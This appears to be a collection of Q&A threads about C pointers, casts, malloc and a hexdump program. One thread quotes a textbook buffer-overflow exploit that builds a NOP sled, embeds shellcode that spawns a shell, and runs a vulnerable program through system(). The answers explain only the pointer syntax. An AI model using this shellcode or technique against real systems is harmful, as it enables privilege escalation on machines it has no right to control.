I have been trying to get the following to work:
My goal is to use pointers in main() to access elements created in a method().
// takes in address of pointer
int method(char** input) {
char *buffer = malloc(sizeof(char)*10);
buffer[0] = 0x12;
buffer[1] = 0x34;
buffer[2] = 0xab;
*input = & buffer;
printf("%x\n", *buffer); // this prints 0x12
printf("%x\n", &buffer); // this prints address of buffer example: 0x7fffbd98bf78
printf("%x\n", *input); // this prints address of buffer
return 0;
}
int main(){
char *ptr;
method(&ptr);
printf(%p\n", ptr); // this prints address of buffer
//this does not seem to print out buffer[0]
printf(%x\n", *ptr);
}
I want to print each element of buffer values, as created by the method() by using ptr. Any suggestions on how I can go about doing this?
I am not sure if I am misunderstanding something, but I thought ptr points to address of buffer. Thus, dereferencing would give me buffer[0]?
Thank you.
This a fixed & commented version of your code. Ask in the comments if there is smth. you don't understand.
#include <stdio.h>
#include <stdlib.h>
// takes in address of pointer
//Hex: 0xab is larger than the max value of a signed char.
//Most comilers default to signed char if you don't specify unsigned.
//So you need to use unsigned for the values you chose
int method(unsigned char** input) { //<<< changed
unsigned char *buffer = malloc(sizeof(char)*10);
//Check for malloc success <<< added
if(!buffer)
exit(EXIT_FAILURE);
buffer[0] = 0x12;
buffer[1] = 0x34;
buffer[2] = 0xab;
//I recommend not to mix array notation and pointer notation on the same object.
//Alternatively, you could write:
*buffer = 0x12;
*(buffer + 1) = 0x34;
*(buffer + 2) = 0xab;
//buffer already contains the address of your "array".
//You don't want the address of that address
*input = buffer; //<<< changed (removed &)
printf("%x\n", *buffer); // this prints 0x12
//Not casting &buffer will likely work (with compiler warnings
//But it is better to conform. Either use (char *) or (void *)
//<<< added the cast for printf()
printf("%p\n", (char *)&buffer); // this prints address of buffer example: 0x7fffbd98bf78
printf("%p\n", *input); // this prints address of buffer
return 0;
}
int main(){
unsigned char *ptr;
method(&ptr);
printf("%p\n", ptr); // this prints address of buffer
//this does not seem to print out buffer[0]
for(int i = 0; i < 3; i++){
//<<< changed to obtain content of buffer via ptr for loop.
unsigned char buf_elem = *(ptr + i);
printf("buffer[%d] in hex: %x\t in decimal: %d\n", i, buf_elem, buf_elem);
}
// Don't forget to free the memory. //<<< changed
free(ptr);
}
Related
I'm trying to hexdump a file with following code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define SIZE 16
void pre_process(char buffer[],int len);
int main(int argc, char **argv){
if(argc == 2){
char *file = argv[1];
FILE *input = fopen(file,"r");
char buffer[SIZE];
char *tmp = malloc(4);
while(!feof(input)){
printf("%06X ",ftell(input)); /*print file pos*/
fread(buffer,1,SIZE,input); /*read 16 bytes with buffer*/
for (int i=0;i<SIZE;i += 4){ /*print each 4 bytes with hex in buffer*/
memcpy(tmp,buffer+i,4);
printf("%08X ",tmp);
}
printf("*");
pre_process(buffer,SIZE); /*print origin plain-text in buffer. subsitute unprint char with '*' */
printf("%s",buffer);
printf("*\n");
}
free(tmp);
fclose(input);
}
}
void pre_process(char buffer[],int len){
for (int i=0;i<len;i++){
if(isblank(buffer[i]) || !isprint(buffer[i]))
buffer[i] = '*';
}
}
reading a slice from lord of ring,result as below:
enter image description here
so, why the hex code are all the same ? It looks like something wrong with printf("%08X ",tmp);
thx for your help.
The answer lies here:
memcpy(tmp,buffer+i,4);
printf("%08X ",tmp);
memcpy as you might already be aware, copies 4 bytes from buffer+i to where tmp is pointing to.
Even though this is done in a loop, tmp continues to hold the address of a specific location, which is never changed. The contents at that address/location in memory are updated with every memcpy() call.
In a nutshell, the house remains there only, hence the address remains the same but people change places, new people arrive as older ones are wiped out!
Also, there is plenty to improve/fix here. I recommend starting with enabling warnings by -Wall option with your compiler.
tmp stores the address of a buffer; that address never changes. What you want to print is the contents of the buffer that tmp points to. In this case, tmp point to a buffer of 4 chars; if you write
printf( "%08X ", *tmp );
you’ll only print the value of the first element - since tmp has type char *, the expression *tmp has type char and is equivalent to writing tmp[0].
To treat what’s in those bytes as an unsigned int (which is what the %X conversion specifier expects), you need to cast the pointer to the correct type before dereferencing it:
printf( "%08X ", *(unsigned int *) tmp );
We first have to cast tmp from char * to unsigned int *, then dereference the result to get the unsigned int equivalent of those four bytes.
This assumes sizeof (unsigned int) == 4 on your system - to be safe, you should write your malloc call as
char *tmp = malloc( sizeof (unsigned int) );
and
for ( int i = 0; i < SIZE; i += sizeof (unsigned int) )
{
memcpy( tmp, buffer + i, sizeof (unsigned int) );
...
}
instead.
You should not use feof as your loop condition - it won’t return true until after you try to read past the end of the file, so your loop will execute once too often. You’ll want to look at the return value of fread to determine whether you’ve reached the end of the file.
This is the code:
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
for(int i=0; i < 160; i+=4) {
*((unsigned int *)(buffer+i)) = ret; // What does this syntax mean?
}
You can get the full code here => https://raw.githubusercontent.com/intere/hacking/master/booksrc/exploit_notesearch.c
Please help me I'm a beginner.
Read it from the inner part to the outer. Here we must suppose that buffer is a pointer to some memory area or array element.
You have:
buffer + 1 ==> address to next memory position or next array element
(unsigned int *)(buffer+i) ==> cast of resulting pointer to a pointer of type unsigned int.
*((unsigned int *)(buffer+i)) ==> dereference the unsigned int pointed out (get the value).
*((unsigned int *)(buffer+i)) = ret; ==> assign the value to the variable ret.
In C, when evaluating expressions, always go from the inside to the outer.
This writes the unsigned int ret to the address buffer+i
*((unsigned int *)(buffer+i)) = ret
buffer+i is a char* (pointer to char)
the (unsigned int *) in (unsigned int *)(buffer+i) transforms the pointer to char into an pointer to unsigned int. This is called a cast.
finally the * dereferences this pointer to unsigned int and writes ret to that address.
Be aware that depending on the architecture of your hardware this may fail because of alignement issues.
I'm working through "The art of exploitation", and there's the following C program that I don't fully understand the syntax of.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Now, inside the for loop, there's one line which, I guess, stores the return address in buffer+i? But where does that value get saved? buffer or i? How does this code even work?
For any pointer or array p and index i, the expression *(p + i) is exactly equal to p[i]. From this follows that p + i is a pointer to the i:th element of p, which is then &p[i].
Assuming you're asking about *((unsigned int *)(buffer+i)), if we split it into its separate parts we have
buffer + i which from above we now know is equal to &buffer[i].
Then we have (unsigned int *) which is a plain cast, which tells the compiler to treat &buffer[i] as a pointer to an unsigned int.
Then lastly we have the dereference of that pointer, which yields the value being pointed to.
So the assignment writes the int value in ret to where &buffer[i] is pointing.
It could also help if we rewrite this using temporary variables:
char *buffer_ptr = buffer + i;
unsigned int *int_ptr = (unsigned int *) buffer_ptr;
int_ptr[0] = ret;
buffer is a pointer to char (char *).
In the following line, the developer casts buffer into a pointer to int, then performs pointer arithmetic by adding an offset of i integers, then deference this offset pointer and writes to that location the value stored in ret.
*((unsigned int *)(buffer+i)) = ret;
Example: assume int is 4byte long, and assume buffer points to address 0x100 (buffer = 0x100).
assume i = 10;
buffer+i then points to 0x100+10*(size of int) = 0x100+10*4 = 0x10E
ret is then written into the memory at address 0x10E
*((unsigned int *)(buffer+i)) = ret;
means
*((unsigned int*)(&(buffer[i]))) = ret;
In the code
*((unsigned int *)(buffer+i)) = ret;
buffer is of type char *, so pointer arithmetic (buffer+i) works using the type it points to, i.e, char. Also, while deferenencing the address held in buffer, it's of type char, as buffer is defined as a pointer to a char type.
Now, the address it produces as a result of buffer +i, is of type char *, i.e., to hold a char type. But, we want to store an unsigned int value (the value of ret variable), so there are two things done in the code:
i is increased by 4 in the loop (assuming the size of an unsigned int in 4 bytes)
the address, is cast to unsigned int *.
Then, the address is dereferenced to indicate the value at that address, and the unsigned int value of ret is stored there.
Lets say i allocated some memory and have a pointer to it.
Int *k = malloc(100);
After storing data from a file in this memory address is it possible to retrieve the value at the nth byte? Say for example I wanna know the value of the int at the first byte.
You can use the pointer like an array, an indexed access is "just" syntactic sugar for a de-reference of an address with an offset. k[n] is the same as *(k + n).
To check the first byte of any memory pointed to by k for 0xFF write this:
if (*((char *)k + 0) == 0xFF) {
/* ... */
}
Or write this:
if (((char *)k)[0] == 0xFF) {
/* ... */
}
Or write this:
char* p = (char*)k;
if (p[0] == 0xFF) {
/* ... */
}
Please be aware that the type of elements the pointer points to is important. Try this example, and learn from its output:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int* pi = malloc(100 * sizeof *pi);
if (!pi) {
puts("Memory allocation error!");
return 1;
}
pi[3] = 23;
char* pc = (char*)pi;
printf("%d\n", pc[3 * sizeof (int)]);
printf("pi: %p %p\n", pi, pi + 3);
printf("pc: %p %p\n", pi, pc + 3);
return 0;
}
I'm testing the code below, but the output just says
ptr char = (null)
Any clue why this is happening?
int buf[1024];
buf[0] = 10;
buf[1] = 0;
buf[2] = 1992;
buf[3] = 42;
buf[4] = 5;
char *ptr;
ptr = (char*)buf+2;
printf("ptr char = %s\n",*ptr);
I just experimented on the above code so that I could know part by part what the code below would do.
here is the code I'm working on
int fillNSendHttpReq(int8u seq, char* domain, char* uri, char method, char* contentType, char* otherHeader, int contentLen, char* content, unsigned char timeout, char moreData, char isHttps)
{
int16u encodedLen = moreData?contentLen|0x8000:contentLen;
//if moredata = true then encodelen = contentlenBITWISEOR0x8000
char *ptr = NULL;
int8u buf[1024];
memset(buf, 0, sizeof(buf));
buf[0] = SNIC_HTTP_REQ;
buf[1] = seq;
*((int16u*)&buf[2]) = 0x5000; //swapped
buf[4] = method;
buf[5] = timeout;
if (isHttps) {
buf[0] = SNIC_HTTPS_REQ;//SNIC_HTTPS_REQ = 0
*((int16u*)&buf[2]) = 0xbb01; // 443 swapped
}
ptr = (char*)buf+6; //convert in8u to char * ???
ptr += sprintf(ptr, "%s", domain)+1; //ptr = ptr + strlen(domain)+1
ptr += sprintf(ptr, "%s", uri)+1;
ptr += sprintf(ptr, "%s", contentType)+1;
ptr += sprintf(ptr, "%s", otherHeader)+1;
*((int16u*)ptr) = swap16(encodedLen);
ptr += 2;
if (contentLen)
memcpy(ptr, content, contentLen);
serial_transmit(CMD_ID_SNIC, buf, ptr-(char*)buf+contentLen, ACK_NOT_REQUIRED);
return 0;
the part I don't understand is that ptr-(char*)buf+contentLenwas assigned to the variable defined as int and so that got me confused on where my content went which was a char.
int is of some size. When you add 2 to a char*, the pointer advances by two bytes; to advance it by the size of an int, you’d do (char*)(buf + 2). Two bytes past buf might be buf[1], or it might be half of buf[0], but apparently it points to zero, because that’s what you get by dereferencing ptr later – NULL is 0. When passing a string to printf, you don’t dereference it first.
I don’t really know how to fix that part, though, because it just doesn’t make a lot of sense. If your code is close to your intent, then this is probably what it should be:
char *ptr = (char*)(buf + 2);
printf("ptr char = %s\n", ptr);
in which case it’ll print either zero or one characters with your example buf.
char *ptr;
ptr = (char*)buf+2;
printf("ptr char = %s\n",*ptr);
ptr is a char pointer, so *ptr is the character it points to. You passed a character as parameter while the printf is waiting for a "string" (char pointer) so it crashed
Previously you have assigned ptr = (char*)buf+2; so ptr is now pointing to halfway between buff[0] and buff[1], and *ptr == 0 (since buf[0] = 10;, the third byte in buff is zero regardless of endianness, assuming sizeof(int) >= 4), so it represents a NULL value when printf reads it as a pointer. That's why you see the output
Use this
printf("ptr char = %s\n", ptr);
But then you'll see another empty output since ptr[0] is now '\0'